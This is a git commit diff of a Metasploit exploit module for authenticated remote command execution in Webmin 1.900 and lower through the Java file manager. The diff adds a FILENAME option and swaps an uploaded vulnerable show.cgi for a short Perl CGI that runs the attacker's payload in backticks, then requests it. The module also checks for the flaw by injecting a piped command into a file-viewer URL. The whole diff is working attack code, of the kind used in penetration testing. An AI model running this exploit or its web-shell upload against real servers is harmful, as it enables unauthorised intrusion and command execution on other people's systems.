Change upload and add option
Change the contents of the uploaded file and don't overwrite and existing file by default. Add option to specify name of file.master
parent
bd1cd7fae8
commit
9a32231cb5
|
@ -11,7 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Webmin 1.900 - Remote Command Execution',
|
'Name' => 'Webmin Java File Manager Authenticated RCE',
|
||||||
'Description' => %q(
|
'Description' => %q(
|
||||||
This module exploits an arbitrary command execution vulnerability in Webmin
|
This module exploits an arbitrary command execution vulnerability in Webmin
|
||||||
1.900 and lower versions. Any user authorized to the "Java file manager"
|
1.900 and lower versions. Any user authorized to the "Java file manager"
|
||||||
|
@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Compat' =>
|
'Compat' =>
|
||||||
{
|
{
|
||||||
'PayloadType' => 'cmd',
|
'PayloadType' => 'cmd',
|
||||||
'RequiredCmd' => 'generic perl ruby python telnet'
|
'RequiredCmd' => 'perl'
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
|
@ -61,14 +61,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
register_options [
|
register_options [
|
||||||
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
|
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
|
||||||
OptString.new('USERNAME', [true, 'Webmin Username']),
|
OptString.new('USERNAME', [true, 'Webmin Username']),
|
||||||
OptString.new('PASSWORD', [true, 'Webmin Password'])
|
OptString.new('PASSWORD', [true, 'Webmin Password']),
|
||||||
|
OptString.new('FILENAME', [false, 'Filename used for the uploaded data'])
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
def login
|
def login
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => '/session_login.cgi',
|
'uri' => normalize_uri('session_login.cgi'),
|
||||||
'cookie' => 'testing=1',
|
'cookie' => 'testing=1',
|
||||||
'vars_post' => {
|
'vars_post' => {
|
||||||
'page' => '',
|
'page' => '',
|
||||||
|
@ -96,12 +97,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
vprint_status('Attempting to execute...')
|
vprint_status('Attempting to execute...')
|
||||||
command = "echo #{rand_text_alphanumeric(0..9)}"
|
command = "echo #{rand_text_alphanumeric(0..9)}"
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi({
|
||||||
{
|
|
||||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
||||||
'cookie' => "sid=#{cookie}"
|
'cookie' => "sid=#{cookie}"
|
||||||
}, 25
|
})
|
||||||
)
|
|
||||||
|
|
||||||
if res && res.code == 200 && res.message =~ /Document follows/
|
if res && res.code == 200 && res.message =~ /Document follows/
|
||||||
return CheckCode::Vulnerable
|
return CheckCode::Vulnerable
|
||||||
|
@ -129,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
res = send_request_raw(
|
res = send_request_raw(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => '/proc/index_tree.cgi',
|
'uri' => normalize_uri('proc', 'index_tree.cgi'),
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
|
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
|
||||||
|
@ -152,7 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
directory << 'file'
|
directory << 'file'
|
||||||
upload_attempt(phost, cookie, directory)
|
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
|
||||||
|
filename << '.cgi' unless filename.end_with?('.cgi')
|
||||||
|
upload_attempt(phost, cookie, directory, filename)
|
||||||
|
|
||||||
##
|
##
|
||||||
# Loading phase of the vulnerable file
|
# Loading phase of the vulnerable file
|
||||||
|
@ -161,71 +162,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
print_status("Attempting to execute the payload...")
|
print_status("Attempting to execute the payload...")
|
||||||
command = payload.encoded
|
command = payload.encoded
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|",
|
'uri' => normalize_uri('file', filename),
|
||||||
'cookie' => "sid=#{cookie}"
|
'cookie' => "sid=#{cookie}"
|
||||||
})
|
})
|
||||||
|
|
||||||
if res && res.code == 200 && res.message =~ /Document follows/
|
|
||||||
print_good 'Payload executed successfully'
|
|
||||||
else
|
|
||||||
print_error 'Error executing the payload'
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_attempt(phost, cookie, dir)
|
def upload_attempt(phost, cookie, dir, filename)
|
||||||
boundary = rand_text_alphanumeric(29)
|
boundary = rand_text_alphanumeric(29)
|
||||||
|
limit = rand_text_alpha_upper(5..10)
|
||||||
|
code = <<~HERE
|
||||||
|
#!/usr/bin/perl
|
||||||
|
$var = <<'#{limit}';
|
||||||
|
#{payload.encoded}
|
||||||
|
#{limit}
|
||||||
|
`$var`;
|
||||||
|
HERE
|
||||||
|
|
||||||
data2 = "-----------------------------#{boundary}\r\n"
|
data2 = "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
|
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"#{filename}\"\r\n"
|
||||||
data2 << "Content-Type: application/octet-stream\r\n\r\n"
|
data2 << "Content-Type: application/octet-stream\r\n\r\n"
|
||||||
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
|
data2 << code
|
||||||
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
|
|
||||||
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
|
|
||||||
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
|
|
||||||
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
|
|
||||||
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
|
|
||||||
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
|
|
||||||
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
|
|
||||||
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
|
|
||||||
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
|
|
||||||
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
|
|
||||||
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
|
|
||||||
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
|
|
||||||
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
|
|
||||||
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
|
|
||||||
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
|
|
||||||
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
|
|
||||||
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
|
|
||||||
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
|
|
||||||
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
|
|
||||||
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
|
|
||||||
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
|
|
||||||
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
|
|
||||||
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
|
|
||||||
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
|
|
||||||
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
|
|
||||||
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
|
|
||||||
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
|
|
||||||
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
|
|
||||||
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
|
|
||||||
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
|
|
||||||
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
|
|
||||||
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
|
|
||||||
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
|
|
||||||
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
|
|
||||||
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
|
|
||||||
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
|
|
||||||
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
|
|
||||||
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
|
|
||||||
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
|
|
||||||
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
|
|
||||||
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
|
|
||||||
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
|
|
||||||
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
|
|
||||||
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
|
|
||||||
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
|
|
||||||
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
|
|
||||||
data2 << "\r\n\r\n"
|
|
||||||
data2 << "-----------------------------#{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
|
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
|
||||||
data2 << "-----------------------------#{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
|
@ -244,7 +200,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
res2 = send_request_raw(
|
res2 = send_request_raw(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}",
|
'uri' => normalize_uri('updown', 'upload.cgi'),
|
||||||
|
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
|
||||||
'data' => data2,
|
'data' => data2,
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
|
@ -255,7 +212,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
|
|
||||||
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
||||||
print_good 'Vulnerable show.cgi file was successfully uploaded.'
|
print_good "File #{filename} was successfully uploaded."
|
||||||
else
|
else
|
||||||
print_error 'Upload failed.'
|
print_error 'Upload failed.'
|
||||||
end
|
end
|
Loading…
Reference in New Issue